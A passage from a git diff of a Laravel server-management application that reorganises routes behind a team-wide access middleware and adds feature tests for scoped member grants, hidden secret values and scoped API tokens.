ServerDestinations::class)->name('server.destinations'); - Route::get('/log-drains', LogDrains::class)->name('server.log-drains'); - Route::get('/metrics', ServerCharts::class)->name('server.metrics'); - Route::get('/analytics', ServerAnalytics::class)->name('server.analytics'); - Route::get('/danger', DeleteServer::class)->name('server.delete'); - Route::get('/transfer', ServerTransfer::class)->name('server.transfer'); - Route::get('/proxy', ProxyShow::class)->name('server.proxy'); - Route::get('/proxy/certificates', ProxyCertificatesShow::class)->name('server.proxy.certificates'); - Route::get('/proxy/dynamic', ProxyDynamicConfigurations::class)->name('server.proxy.dynamic-confs'); - Route::get('/proxy/logs', ProxyLogs::class)->name('server.proxy.logs'); - Route::get('/terminal', ExecuteContainerCommand::class)->name('server.command')->middleware('can.access.terminal'); - Route::get('/docker-cleanup', DockerCleanup::class)->name('server.docker-cleanup'); - Route::get('/images', DockerImages::class)->name('server.docker-images'); - Route::get('/github-runners', GithubRunners::class)->name('server.github-runners'); - Route::get('/registries', ServerRegistries::class)->name('server.registries')->middleware('can.update.resource'); - Route::get('/security', fn () => redirect(route('dashboard')))->name('server.security')->middleware('can.update.resource'); - Route::get('/security/patches', Patches::class)->name('server.security.patches')->middleware('can.update.resource'); - Route::get('/security/terminal-access', TerminalAccess::class)->name('server.security.terminal-access')->middleware('can.update.resource'); + Route::prefix('server/{server_uuid}')->group(function () { + Route::get('/', ServerShow::class)->name('server.show'); + Route::get('/canvas', ServerCanvas::class)->name('server.canvas'); + Route::get('/advanced', ServerAdvanced::class)->name('server.advanced'); + Route::get('/swarm', ServerSwarm::class)->name('server.swarm'); + Route::get('/sentinel', SentinelShow::class)->name('server.sentinel'); + Route::get('/sentinel/logs', SentinelLogs::class)->name('server.sentinel.logs'); + Route::get('/private-key', PrivateKeyShow::class)->name('server.private-key'); + Route::get('/cloud-provider-token', CloudProviderTokenShow::class)->name('server.cloud-provider-token'); + Route::get('/ca-certificate', CaCertificateShow::class)->name('server.ca-certificate'); + Route::get('/resources', ResourcesShow::class)->name('server.resources'); + Route::get('/cloudflare-tunnel', CloudflareTunnel::class)->name('server.cloudflare-tunnel'); + Route::get('/destinations', ServerDestinations::class)->name('server.destinations'); + Route::get('/log-drains', LogDrains::class)->name('server.log-drains'); + Route::get('/metrics', ServerCharts::class)->name('server.metrics'); + Route::get('/analytics', ServerAnalytics::class)->name('server.analytics'); + Route::get('/danger', DeleteServer::class)->name('server.delete'); + Route::get('/transfer', ServerTransfer::class)->name('server.transfer'); + Route::get('/proxy', ProxyShow::class)->name('server.proxy'); + Route::get('/proxy/certificates', ProxyCertificatesShow::class)->name('server.proxy.certificates'); + Route::get('/proxy/dynamic', ProxyDynamicConfigurations::class)->name('server.proxy.dynamic-confs'); + Route::get('/proxy/logs', ProxyLogs::class)->name('server.proxy.logs'); + Route::get('/terminal', ExecuteContainerCommand::class)->name('server.command')->middleware('can.access.terminal'); + Route::get('/docker-cleanup', DockerCleanup::class)->name('server.docker-cleanup'); + Route::get('/images', DockerImages::class)->name('server.docker-images'); + Route::get('/github-runners', GithubRunners::class)->name('server.github-runners'); + Route::get('/registries', ServerRegistries::class)->name('server.registries')->middleware('can.update.resource'); + Route::get('/security', fn () => redirect(route('dashboard')))->name('server.security')->middleware('can.update.resource'); + Route::get('/security/patches', Patches::class)->name('server.security.patches')->middleware('can.update.resource'); + Route::get('/security/terminal-access', TerminalAccess::class)->name('server.security.terminal-access')->middleware('can.update.resource'); + }); + Route::get('/destinations', DestinationIndex::class)->name('destination.index'); + Route::get('/destination/{destination_uuid}', DestinationShow::class)->name('destination.show'); + Route::get('/destination/{destination_uuid}/danger', DestinationShow::class)->name('destination.danger'); + Route::get('/destination/{destination_uuid}/resources', DestinationResources::class)->name('destination.resources'); + + // Route::get('/security', fn () => view('security.index'))->name('security.index'); + Route::get('/security/private-key', SecurityPrivateKeyIndex::class)->name('security.private-key.index'); + // Route::get('/security/private-key/new', SecurityPrivateKeyCreate::class)->name('security.private-key.create'); + Route::get('/security/private-key/{private_key_uuid}', SecurityPrivateKeyShow::class)->name('security.private-key.show'); + + Route::get('/security/cloud-tokens', CloudTokens::class)->name('security.cloud-tokens'); + Route::get('/security/integration-tokens', IntegrationTokens::class)->name('security.integration-tokens'); + Route::get('/security/cloud-tokens/{cloud_token_uuid}', SecurityCloudProviderTokenShow::class)->name('security.cloud-tokens.show'); + Route::get('/security/cloud-init-scripts', CloudInitScripts::class)->name('security.cloud-init-scripts'); + Route::get('/security/cloud-init-scripts/{cloud_init_script_uuid}', SecurityCloudInitScriptShow::class)->name('security.cloud-init-scripts.show'); }); - Route::get('/destinations', DestinationIndex::class)->name('destination.index'); - Route::get('/destination/{destination_uuid}', DestinationShow::class)->name('destination.show'); - Route::get('/destination/{destination_uuid}/danger', DestinationShow::class)->name('destination.danger'); - Route::get('/destination/{destination_uuid}/resources', DestinationResources::class)->name('destination.resources'); - - // Route::get('/security', fn () => view('security.index'))->name('security.index'); - Route::get('/security/private-key', SecurityPrivateKeyIndex::class)->name('security.private-key.index'); - // Route::get('/security/private-key/new', SecurityPrivateKeyCreate::class)->name('security.private-key.create'); - Route::get('/security/private-key/{private_key_uuid}', SecurityPrivateKeyShow::class)->name('security.private-key.show'); - - Route::get('/security/cloud-tokens', CloudTokens::class)->name('security.cloud-tokens'); - Route::get('/security/integration-tokens', IntegrationTokens::class)->name('security.integration-tokens'); - Route::get('/security/cloud-tokens/{cloud_token_uuid}', SecurityCloudProviderTokenShow::class)->name('security.cloud-tokens.show'); - Route::get('/security/cloud-init-scripts', CloudInitScripts::class)->name('security.cloud-init-scripts'); - Route::get('/security/cloud-init-scripts/{cloud_init_script_uuid}', SecurityCloudInitScriptShow::class)->name('security.cloud-init-scripts.show'); Route::get('/security/api-tokens', ApiTokens::class)->name('security.api-tokens'); }); Route::middleware(['auth'])->group(function () { Route::get('/select-team', SelectTeam::class)->name('team.select'); +}); + +Route::middleware(['auth', 'access.team-wide'])->group(function () { Route::get('/sources', function () { $sources = currentTeam()->sources(); diff --git a/tests/Feature/Access/AccessGrantsTest.php b/tests/Feature/Access/AccessGrantsTest.php new file mode 100644 index 0000000000..d82e596ade --- /dev/null +++ b/tests/Feature/Access/AccessGrantsTest.php @@ -0,0 +1,142 @@ +team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = $server->standaloneDockers()->firstOrFail(); + + $this->shop = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'shop']); + $this->shopProduction = Environment::factory()->create(['project_id' => $this->shop->id, 'name' => 'prod']); + $this->blog = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'blog']); + $this->blogStaging = Environment::factory()->create(['project_id' => $this->blog->id, 'name' => 'staging']); + + $this->shopApi = accessGrantsTestApplication($this->shopProduction, $this->destination); + $this->blogWeb = accessGrantsTestApplication($this->blogStaging, $this->destination); + $this->blogWorker = accessGrantsTestApplication($this->blogStaging, $this->destination); +}); + +function accessGrantsTestApplication(Environment $environment, $destination): Application +{ + return Application::factory()->create([ + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); +} + +function accessGrantsTestMember(Team $team, ?array $access, string $role = 'member'): User +{ + $user = User::factory()->create(); + $user->teams()->attach($team, ['role' => $role, 'access' => $access === null ? null : json_encode($access)]); + test()->actingAs($user); + session(['currentTeam' => $team]); + + return $user->fresh(); +} + +it('keeps team-wide read access for members without stored grants', function () { + $member = accessGrantsTestMember($this->team, null); + + expect(Project::query()->pluck('name')->sort()->values()->all())->toBe(['blog', 'shop']) + ->and(Application::query()->count())->toBe(3) + ->and($member->canAccess(AccessLevel::Read, $this->shopApi))->toBeTrue() + ->and($member->canAccess(AccessLevel::Write, $this->shopApi))->toBeFalse(); +}); + +it('limits a member with a project grant to that project', function () { + $member = accessGrantsTestMember($this->team, [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read', 'deploy']], + ]); + + expect(Project::query()->pluck('name')->all())->toBe(['shop']) + ->and(Environment::query()->pluck('project_id')->unique()->values()->all())->toBe([$this->shop->id]) + ->and(Application::query()->pluck('id')->all())->toBe([$this->shopApi->id]) + ->and(Application::query()->where('uuid', $this->blogWeb->uuid)->first())->toBeNull() + ->and($member->canAccess(AccessLevel::Deploy, $this->shopApi))->toBeTrue() + ->and($member->canAccess(AccessLevel::Write, $this->shopApi))->toBeFalse() + ->and($member->canAccess(AccessLevel::Read, $this->blogWeb))->toBeFalse(); +}); + +it('shows only the granted resource and its parents for a resource grant', function () { + $member = accessGrantsTestMember($this->team, [ + ['scope' => 'resource', 'uuid' => $this->blogWeb->uuid, 'levels' => ['write']], + ]); + + expect(Project::query()->pluck('name')->all())->toBe(['blog']) + ->and(Environment::query()->pluck('id')->all())->toBe([$this->blogStaging->id]) + ->and(Application::query()->pluck('id')->all())->toBe([$this->blogWeb->id]) + ->and($this->blogStaging->applications()->pluck('id')->all())->toBe([$this->blogWeb->id]) + ->and($member->canAccess(AccessLevel::Write, $this->blogWeb))->toBeTrue() + ->and($member->canAccess(AccessLevel::Delete, $this->blogWeb))->toBeFalse() + ->and($member->canAccess(AccessLevel::Read, $this->blogWorker))->toBeFalse() + ->and($member->canAccess(AccessLevel::Read, $this->blogStaging))->toBeFalse(); +}); + +it('gives environment grants to every resource in the environment only', function () { + $member = accessGrantsTestMember($this->team, [ + ['scope' => 'environment', 'uuid' => $this->blogStaging->uuid, 'levels' => ['read:sensitive']], + ]); + + expect(Application::query()->pluck('id')->sort()->values()->all())->toBe([$this->blogWeb->id, $this->blogWorker->id]) + ->and($member->canAccess(AccessLevel::ReadSensitive, $this->blogWorker))->toBeTrue() + ->and($member->canAccess(AccessLevel::Deploy, $this->blogWorker))->toBeFalse() + ->and($member->canAccess(AccessLevel::Read, $this->shopApi))->toBeFalse(); +}); + +it('does not filter admins, even with stored grants', function () { + $admin = accessGrantsTestMember($this->team, [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']], + ], 'admin'); + + expect(Project::query()->count())->toBe(2) + ->and($admin->canAccess(AccessLevel::Delete, $this->blogWeb))->toBeTrue(); +}); + +it('ignores grants that point to another team', function () { + $otherTeam = Team::factory()->create(); + $foreignProject = Project::factory()->create(['team_id' => $otherTeam->id]); + + accessGrantsTestMember($this->team, [ + ['scope' => 'project', 'uuid' => $foreignProject->uuid, 'levels' => ['root']], + ]); + + expect(Project::query()->withoutGlobalScopes()->where('team_id', $this->team->id)->count())->toBe(2) + ->and(Project::query()->count())->toBe(0); +}); + +it('checks a resource with the grants of its own team after the session team changes', function () { + $member = accessGrantsTestMember($this->team, [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['write']], + ]); + $ownTeam = Team::factory()->create(); + $member->teams()->attach($ownTeam, ['role' => 'owner']); + $member = $member->fresh(); + session(['currentTeam' => $ownTeam]); + + expect($member->canAccess(AccessLevel::Write, $this->shopApi))->toBeTrue() + ->and($member->canAccess(AccessLevel::Write, $this->blogWeb))->toBeFalse(); +}); + +it('lets a member open the parents of a granted resource but not other projects', function () { + $member = accessGrantsTestMember($this->team, [ + ['scope' => 'resource', 'uuid' => $this->blogWeb->uuid, 'levels' => ['read']], + ]); + + expect($member->can('view', $this->blog))->toBeTrue() + ->and($member->can('view', $this->blogStaging))->toBeTrue() + ->and($member->can('view', $this->shop))->toBeFalse() + ->and($member->can('view', $this->shopProduction))->toBeFalse() + ->and($member->can('update', $this->blogStaging))->toBeFalse(); +}); diff --git a/tests/Feature/Access/AccessPoliciesTest.php b/tests/Feature/Access/AccessPoliciesTest.php new file mode 100644 index 0000000000..937e3bad2d --- /dev/null +++ b/tests/Feature/Access/AccessPoliciesTest.php @@ -0,0 +1,269 @@ + 0]); + Server::flushIdentityMap(); + + $this->team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $this->team->id]); + $destination = $server->standaloneDockers()->firstOrFail(); + $placement = [ + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]; + + $this->shop = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'shop']); + $this->shopProduction = Environment::factory()->create(['project_id' => $this->shop->id, 'name' => 'prod']); + $this->shopStaging = Environment::factory()->create(['project_id' => $this->shop->id, 'name' => 'staging']); + $this->blog = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'blog']); + $blogProduction = Environment::factory()->create(['project_id' => $this->blog->id, 'name' => 'prod']); + + $this->application = Application::factory()->create(['environment_id' => $this->shopProduction->id, ...$placement]); + $this->database = StandalonePostgresql::create([ + 'name' => 'orders-db', 'postgres_user' => 'postgres', 'postgres_password' => 'password', 'postgres_db' => 'db', + 'image' => 'postgres:17', 'environment_id' => $this->shopProduction->id, ...$placement, + ]); + $this->service = Service::factory()->create([ + 'environment_id' => $this->shopProduction->id, + 'server_id' => $server->id, + ...$placement, + ]); + $this->secret = EnvironmentVariable::create([ + 'key' => 'API_KEY', + 'value' => 'shop-secret-value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + 'is_preview' => false, + ]); + $this->blogApplication = Application::factory()->create(['environment_id' => $blogProduction->id, ...$placement]); +}); + +function accessPoliciesMember(Team $team, ?array $access, string $role = 'member'): User +{ + $user = User::factory()->create(); + $user->teams()->attach($team, ['role' => $role, 'access' => $access === null ? null : json_encode($access)]); + $user = $user->fresh(); + test()->actingAs($user); + session(['currentTeam' => $team]); + + return $user; +} + +function accessPoliciesProjectGrant(Project $project, array $levels): array +{ + return [['scope' => 'project', 'uuid' => $project->uuid, 'levels' => $levels]]; +} + +/** + * @return array + */ +function accessPoliciesAbilities(User $user, object $test): array +{ + $gate = Gate::forUser($user); + + return [ + 'application.view' => $gate->allows('view', $test->application), + 'application.deploy' => $gate->allows('deploy', $test->application), + 'application.update' => $gate->allows('update', $test->application), + 'application.delete' => $gate->allows('delete', $test->application), + 'database.view' => $gate->allows('view', $test->database), + 'database.update' => $gate->allows('update', $test->database), + 'database.delete' => $gate->allows('delete', $test->database), + 'service.view' => $gate->allows('view', $test->service), + 'service.deploy' => $gate->allows('deploy', $test->service), + 'service.update' => $gate->allows('update', $test->service), + 'service.delete' => $gate->allows('delete', $test->service), + 'secret.view' => $gate->allows('view', $test->secret), + 'secret.viewSensitive' => $gate->allows('viewSensitive', $test->secret), + 'secret.update' => $gate->allows('update', $test->secret), + ]; +} + +/** + * @param list $allowed + * @return array + */ +function accessPoliciesExpected(array $allowed): array +{ + $keys = [ + 'application.view', 'application.deploy', 'application.update', 'application.delete', + 'database.view', 'database.update', 'database.delete', + 'service.view', 'service.deploy', 'service.update', 'service.delete', + 'secret.view', 'secret.viewSensitive', 'secret.update', + ]; + + return array_combine($keys, array_map(fn (string $key) => in_array($key, $allowed, true), $keys)); +} + +const ACCESS_POLICIES_VIEW = ['application.view', 'database.view', 'service.view', 'secret.view']; + +it('lets a member with a deploy grant deploy but not change or delete', function () { + $member = accessPoliciesMember($this->team, accessPoliciesProjectGrant($this->shop, ['deploy'])); + + expect(accessPoliciesAbilities($member, $this))->toBe(accessPoliciesExpected([ + ...ACCESS_POLICIES_VIEW, 'application.deploy', 'service.deploy', + ]))->and(Gate::forUser($member)->allows('view', $this->blogApplication))->toBeFalse(); +}); + +it('lets a member with a write grant change resources and read secrets but not delete', function () { + $member = accessPoliciesMember($this->team, accessPoliciesProjectGrant($this->shop, ['write'])); + + expect(accessPoliciesAbilities($member, $this))->toBe(accessPoliciesExpected([ + ...ACCESS_POLICIES_VIEW, 'application.deploy', 'application.update', 'database.update', + 'service.deploy', 'service.update', 'secret.viewSensitive', 'secret.update', + ])); +}); + +it('lets a member with a delete grant delete but not change', function () { + $member = accessPoliciesMember($this->team, accessPoliciesProjectGrant($this->shop, ['delete'])); + + expect(accessPoliciesAbilities($member, $this))->toBe(accessPoliciesExpected([ + ...ACCESS_POLICIES_VIEW, 'application.delete', 'database.delete', 'service.delete', + ])); +}); + +it('applies a resource grant only to that resource', function () { + $member = accessPoliciesMember($this->team, [ + ['scope' => 'resource', 'uuid' => $this->application->uuid, 'levels' => ['write']], + ]); + + expect(accessPoliciesAbilities($member, $this))->toBe(accessPoliciesExpected([ + 'application.view', 'application.deploy', 'application.update', + 'secret.view', 'secret.viewSensitive', 'secret.update', + ])); +}); + +it('keeps a member without stored grants read-only', function () { + $member = accessPoliciesMember($this->team, null); + + expect(accessPoliciesAbilities($member, $this))->toBe(accessPoliciesExpected(ACCESS_POLICIES_VIEW)) + ->and(Gate::forUser($member)->allows('view', $this->blogApplication))->toBeTrue() + ->and(Gate::forUser($member)->allows('createAnyResource'))->toBeFalse() + ->and(Gate::forUser($member)->allows('create', Project::class))->toBeFalse(); +}); + +it('gives admins full access', function () { + $admin = accessPoliciesMember($this->team, null, 'admin'); + + expect(accessPoliciesAbilities($admin, $this))->toBe(accessPoliciesExpected([ + ...ACCESS_POLICIES_VIEW, 'application.deploy', 'application.update', 'application.delete', + 'database.update', 'database.delete', 'service.deploy', 'service.update', 'service.delete', + 'secret.viewSensitive', 'secret.update', + ]))->and(Gate::forUser($admin)->allows('createAnyResource'))->toBeTrue() + ->and(Gate::forUser($admin)->allows('create', [Application::class, $this->shopStaging]))->toBeTrue() + ->and(Gate::forUser($admin)->allows('create', Project::class))->toBeTrue(); +}); + +it('uses the grants of the resource team after the session switches to another team', function () { + $member = User::factory()->create(); + $member->teams()->attach($this->team, ['role' => 'member', 'access' => json_encode(accessPoliciesProjectGrant($this->shop, ['write']))]); + $ownTeam = Team::factory()->create(); + $member->teams()->attach($ownTeam, ['role' => 'owner']); + $member = $member->fresh(); + $this->actingAs($member); + session(['currentTeam' => $ownTeam]); + + $gate = Gate::forUser($member); + + expect($gate->allows('update', $this->application))->toBeTrue() + ->and($gate->allows('viewSensitive', $this->secret))->toBeTrue() + ->and($gate->allows('delete', $this->application))->toBeFalse() + ->and($gate->allows('view', $this->blogApplication))->toBeFalse(); +}); + +it('lets a member create resources only in environments they can write to', function () { + $member = accessPoliciesMember($this->team, [ + ['scope' => 'environment', 'uuid' => $this->shopStaging->uuid, 'levels' => ['write']], + ]); + $gate = Gate::forUser($member); + + expect($gate->allows('create', [Application::class, $this->shopStaging]))->toBeTrue() + ->and($gate->allows('create', [Service::class, $this->shopStaging]))->toBeTrue() + ->and($gate->allows('create', [StandalonePostgresql::class, $this->shopStaging]))->toBeTrue() + ->and($gate->allows('createAnyResource', [$this->shopStaging]))->toBeTrue() + ->and($gate->allows('create', [Application::class, $this->shopProduction]))->toBeFalse() + ->and($gate->allows('create', Application::class))->toBeFalse() + ->and($gate->allows('create', [Environment::class, $this->shop]))->toBeFalse() + ->and($gate->allows('create', Project::class))->toBeFalse(); +}); + +it('shows secret values in the variable editor only with read-sensitive access', function (array $levels, ?string $expectedValue) { + accessPoliciesMember($this->team, accessPoliciesProjectGrant($this->shop, $levels)); + + $component = Livewire::test(EnvironmentVariableShow::class, ['env' => $this->secret, 'type' => 'application']); + + if ($expectedValue === null) { + expect($component->get('isValueHidden'))->toBeTrue() + ->and($component->get('value'))->toBeNull(); + $component->call('loadValues')->assertForbidden(); + + return; + } + + $component->call('loadValues'); + expect($component->get('value'))->toBe($expectedValue) + ->and($component->get('isValueHidden'))->toBeFalse(); +})->with([ + 'read' => [['read'], null], + 'deploy' => [['deploy'], null], + 'read:sensitive' => [['read:sensitive'], 'shop-secret-value'], + 'write' => [['write'], 'shop-secret-value'], +]); + +it('finds domain conflicts with resources the member cannot see without naming them', function () { + $this->blogApplication->update(['fqdn' => 'https://blog.example.com']); + $this->application->update(['fqdn' => 'https://blog.example.com']); + accessPoliciesMember($this->team, accessPoliciesProjectGrant($this->shop, ['write'])); + + $result = checkDomainUsage(resource: $this->application->fresh()); + + expect($result['hasConflicts'])->toBeTrue() + ->and($result['conflicts'][0]['message'])->toBe('Domain https://blog.example.com is already in use by another resource in this team') + ->and($result['conflicts'][0]['resource_name'])->toBe('another resource'); +}); + +function accessPoliciesBindEnvironmentRoute(Environment $environment): void +{ + Event::listen(RouteMatched::class, function (RouteMatched $event) use ($environment): void { + $event->route->setParameter('project_uuid', $environment->project->uuid); + $event->route->setParameter('environment_uuid', $environment->uuid); + }); +} + +it('opens the new resource page only for environments the member can write to', function () { + accessPoliciesMember($this->team, [ + ...accessPoliciesProjectGrant($this->shop, ['read']), + ['scope' => 'environment', 'uuid' => $this->shopStaging->uuid, 'levels' => ['write']], + ]); + + accessPoliciesBindEnvironmentRoute($this->shopStaging); + Livewire::test(ResourceCreate::class)->assertOk(); + + Event::forget(RouteMatched::class); + accessPoliciesBindEnvironmentRoute($this->shopProduction); + Livewire::test(ResourceCreate::class)->assertForbidden(); +}); + +afterEach(function () { + Event::forget(RouteMatched::class); +}); diff --git a/tests/Feature/Access/MemberGrantsTest.php b/tests/Feature/Access/MemberGrantsTest.php new file mode 100644 index 0000000000..a895283f78 --- /dev/null +++ b/tests/Feature/Access/MemberGrantsTest.php @@ -0,0 +1,240 @@ + 'array', + 'session.driver' => 'array', + 'queue.default' => 'sync', + 'app.maintenance.store' => 'array', + ]); + InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0])); + Server::flushIdentityMap(); + Cache::flush(); + + $this->team = Team::factory()->create(['show_boarding' => false]); + $this->server = Server::factory()->create(['team_id' => $this->team->id, 'name' => 'web-server']); + $destination = $this->server->standaloneDockers()->firstOrFail(); + + $this->shop = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'shop']); + $shopProduction = Environment::factory()->create(['project_id' => $this->shop->id, 'name' => 'prod']); + $this->blog = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'blog']); + $blogStaging = Environment::factory()->create(['project_id' => $this->blog->id, 'name' => 'staging']); + + $this->shopApi = Application::factory()->create([ + 'name' => 'shop-api', + 'environment_id' => $shopProduction->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + $this->blogWeb = Application::factory()->create([ + 'name' => 'blog-web', + 'environment_id' => $blogStaging->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + + $this->owner = memberGrantsUser($this->team, 'owner', null); +}); + +function memberGrantsUser(Team $team, string $role, ?array $access): User +{ + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => $role, 'access' => $access === null ? null : json_encode($access)]); + + return $user; +} + +function memberGrantsActAs(User $user, Team $team): void +{ + test()->actingAs($user); + session(['currentTeam' => $team]); +} + +function memberGrantsStoredAccess(Team $team, User $user): mixed +{ + $stored = DB::table('team_user')->where('team_id', $team->id)->where('user_id', $user->id)->value('access'); + + return $stored === null ? null : json_decode($stored, true); +} + +it('lets an owner save grants for a member through the access editor', function () { + $member = memberGrantsUser($this->team, 'member', null); + memberGrantsActAs($this->owner, $this->team); + + Livewire::test(Access::class)->call('openFor', $member->id) + ->call('applyPreset', 'developer', $this->shop->uuid) + ->call('addGrant') + ->set('grants.1.target', 'resource:'.$this->blogWeb->uuid) + ->set('grants.1.levels.Read', true) + ->call('save') + ->assertHasNoErrors(); + + expect(memberGrantsStoredAccess($this->team, $member))->toBe([ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['deploy', 'write']], + ['scope' => 'resource', 'uuid' => $this->blogWeb->uuid, 'levels' => ['read']], + ]); +}); + +it('stores an empty list when the owner removes every grant', function () { + $member = memberGrantsUser($this->team, 'member', null); + memberGrantsActAs($this->owner, $this->team); + + $editor = Livewire::test(Access::class)->call('openFor', $member->id); + $editor->call('removeGrant', $editor->get('grants.0.key')) + ->call('save') + ->assertHasNoErrors(); + + expect(memberGrantsStoredAccess($this->team, $member))->toBe([]) + ->and(Access::summary('[]'))->toBe('No access') + ->and(Access::summary(null))->toBe('Team-wide read (default)'); +}); + +it('does not let a member open the editor or save grants', function () { + $member = memberGrantsUser($this->team, 'member', null); + $target = memberGrantsUser($this->team, 'member', null); + + memberGrantsActAs($member, $this->team); + Livewire::test(Access::class)->assertForbidden(); + + memberGrantsActAs($this->owner, $this->team); + $editor = Livewire::test(Access::class) + ->call('openFor', $target->id) + ->call('applyPreset', 'full'); + + memberGrantsActAs($member->fresh(), $this->team); + $editor->call('save')->assertForbidden(); + + expect(memberGrantsStoredAccess($this->team, $target))->toBeNull(); +}); + +it('rejects a scope from another team', function () { + $member = memberGrantsUser($this->team, 'member', null); + $otherTeam = Team::factory()->create(); + $foreignProject = Project::factory()->create(['team_id' => $otherTeam->id]); + memberGrantsActAs($this->owner, $this->team); + + Livewire::test(Access::class)->call('openFor', $member->id) + ->set('grants.0.target', 'project:'.$foreignProject->uuid) + ->call('save') + ->assertHasErrors(['grants.0.target']); + + expect(memberGrantsStoredAccess($this->team, $member))->toBeNull(); +}); + +it('blocks team-level pages for a member with only a project grant', function (string $path) { + $member = memberGrantsUser($this->team, 'member', [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']], + ]); + + $this->actingAs($member)->withSession(['currentTeam' => $this->team])->get($path)->assertForbidden(); +})->with([ + '/servers', + '/destinations', + '/security/private-key', + '/sources', + '/storages', + '/notifications/email', + '/team', + '/team/members', + '/shared-variables/team', + '/tags', + '/analytics', + '/settings', +]); + +it('keeps team-level pages for legacy members and owners', function () { + $legacy = memberGrantsUser($this->team, 'member', null); + + $this->actingAs($legacy)->withSession(['currentTeam' => $this->team])->get('/servers')->assertOk(); + $this->actingAs($this->owner)->withSession(['currentTeam' => $this->team])->get('/servers')->assertOk(); +}); + +it('keeps the own API tokens page for a scoped member', function () { + $member = memberGrantsUser($this->team, 'member', [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']], + ]); + + $this->actingAs($member)->withSession(['currentTeam' => $this->team])->get('/security/api-tokens')->assertOk(); +}); + +it('lists only granted projects and hides other project pages', function () { + $member = memberGrantsUser($this->team, 'member', [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']], + ]); + memberGrantsActAs($member, $this->team); + + expect(Livewire::test(ProjectIndex::class)->get('projects')->pluck('uuid')->all())->toBe([$this->shop->uuid]); + + $this->get('/project/'.$this->shop->uuid)->assertOk(); + $this->get('/project/'.$this->blog->uuid)->assertNotFound(); +}); + +it('keeps hidden resources out of global search for a scoped member, and full results for an admin after', function () { + $member = memberGrantsUser($this->team, 'member', [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']], + ]); + + memberGrantsActAs($member, $this->team); + $memberItems = collect(Livewire::test(GlobalSearch::class)->call('openSearchModal')->get('allSearchableItems')); + + expect($memberItems->whereIn('type', ['application', 'project', 'server'])->pluck('name')->sort()->values()->all()) + ->toBe(['shop', 'shop-api']) + ->and($memberItems->where('type', 'navigation')->pluck('link')->all())->not->toContain(route('server.index'), route('team.member.index')); + + memberGrantsActAs($this->owner, $this->team); + $ownerItems = collect(Livewire::test(GlobalSearch::class)->call('openSearchModal')->get('allSearchableItems')); + + expect($ownerItems->whereIn('type', ['application', 'project', 'server'])->pluck('name')->sort()->values()->all()) + ->toBe(['blog', 'blog-web', 'shop', 'shop-api', 'web-server']); +}); + +it('shows no servers on the dashboard for a scoped member', function () { + $member = memberGrantsUser($this->team, 'member', [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']], + ]); + memberGrantsActAs($member, $this->team); + + $dashboard = Livewire::test(Dashboard::class); + + expect($dashboard->get('servers')->all())->toBe([]) + ->and($dashboard->get('projects')->pluck('uuid')->all())->toBe([$this->shop->uuid]); + + expect(fn () => $dashboard->set('showsTeamSections', true))->toThrow(CannotUpdateLockedPropertyException::class); +}); + +it('renders the members page and the editor with every scope of the team for an owner', function () { + $member = memberGrantsUser($this->team, 'member', [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']], + ['scope' => 'project', 'uuid' => $this->blog->uuid, 'levels' => ['read']], + ]); + memberGrantsActAs($this->owner, $this->team); + + $this->get('/team/members')->assertOk()->assertSee('2 projects'); + + $options = Livewire::test(Access::class)->call('openFor', $member->id)->assertOk()->instance()->scopeOptions(); + + expect(collect($options)->reject(fn (array $option) => $option['header'] ?? false)->pluck('label')->all())->toBe([ + 'Whole team', 'blog', 'shop', + 'blog / production', 'blog / staging', 'shop / prod', 'shop / production', + 'blog / staging / blog-web', 'shop / prod / shop-api', + ]); +}); diff --git a/tests/Feature/Access/ScopedApiTokenTest.php b/tests/Feature/Access/ScopedApiTokenTest.php new file mode 100644 index 0000000000..612979c316 --- /dev/null +++ b/tests/Feature/Access/ScopedApiTokenTest.php @@ -0,0 +1,346 @@ +set('app.maintenance.store', 'array'); + config()->set('cache.default', 'array'); + + InstanceSettings::query()->delete(); + $settings = new InstanceSettings(['is_api_enabled' => true, 'is_mcp_server_enabled' => true]); + $settings->id = 0; + $settings->save(); + Once::flush(); + + $this->team = Team::factory()->create(['is_mcp_server_enabled' => true]); + $this->admin = User::factory()->create(); + $this->team->members()->attach($this->admin->id, ['role' => 'admin']); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = $this->server->standaloneDockers()->firstOrFail(); + + $this->shop = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'shop']); + $this->shopProduction = Environment::factory()->create(['project_id' => $this->shop->id, 'name' => 'prod']); + $this->blog = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'blog']); + $this->blogStaging = Environment::factory()->create(['project_id' => $this->blog->id, 'name' => 'staging']); + + $this->shopApi = scopedTokenTestApplication($this->shopProduction, $this->destination, 'shop-api'); + $this->shopWorker = scopedTokenTestApplication($this->shopProduction, $this->destination, 'shop-worker'); + $this->blogWeb = scopedTokenTestApplication($this->blogStaging, $this->destination, 'blog-web'); +}); + +afterEach(function () { + Server::flushIdentityMap(); +}); + +function scopedTokenTestApplication(Environment $environment, 